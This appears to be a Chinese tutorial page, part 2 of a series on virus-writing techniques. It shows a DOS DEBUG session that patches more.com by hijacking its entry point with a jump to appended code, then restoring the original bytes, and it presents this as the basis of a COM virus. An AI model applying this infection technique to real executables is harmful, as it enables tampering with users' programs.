用户登录  |  用户注册
首 页商业源码原创产品编程论坛
当前位置:PB创新网文章中心编程技巧编程其他

病毒的编制关键技术(2)

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2009-03-16 19:42:44

  -r
  AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
  DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC
  0CA4:0100 B8371E   MOV   AX,1E37

  -a af1
  0CA4:0AF1 mov ah,0
  0CA4:0AF3 int 16           ;等待按键
  0CA4:0AF5 cmp al,1b         ;等待ESC键
  0CA4:0AF7 jnz af1
  0CA4:0AF9 mov word ptr[100],3fb8   ;恢复程序开始的三个字节
  0CA4:0AFF mov byte ptr[102],le
  0CA4:0B04 push cs           ;进栈CS:100
  0CA4:0B05 mov si,100
  0CA4:0B08 push si
  0CA4:0B09 retf            ;RetF回到CS:100,程序开始处
  0CA4:0B0A

  -a 100
  0CA4:0100 jmp af1          ;将程序开头改成跳转到修改的模块
  0CA4:0103

  -rcx
  CX 09F1
   : a0a

  -w
  Writing  00A0A bytes

  -q

  修改完了,来执行以下more.com,发现什么没有?结果不按ESC键程序无法执行,流程很简单:  1. 把程序开始处的指令修改成了跳转到最后添加的程序位置。  2. 最先执行添加的程序(相当于病毒模块),等待ESC键。  3. 按下ESC键后修改回程序开始的指令,跳转回到开始(执行原始程序)。  好了,如果你能看懂上面这段话,那你离编写自己的com病毒将不会很远了。 

Tags:

作者:佚名

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
PB创新网ourmis.com】Copyright © 2000-2009 . All Rights Reserved .
页面执行时间:4,484.37500 毫秒
Email:ourmis@126.com QQ:2322888 蜀ICP备05006790号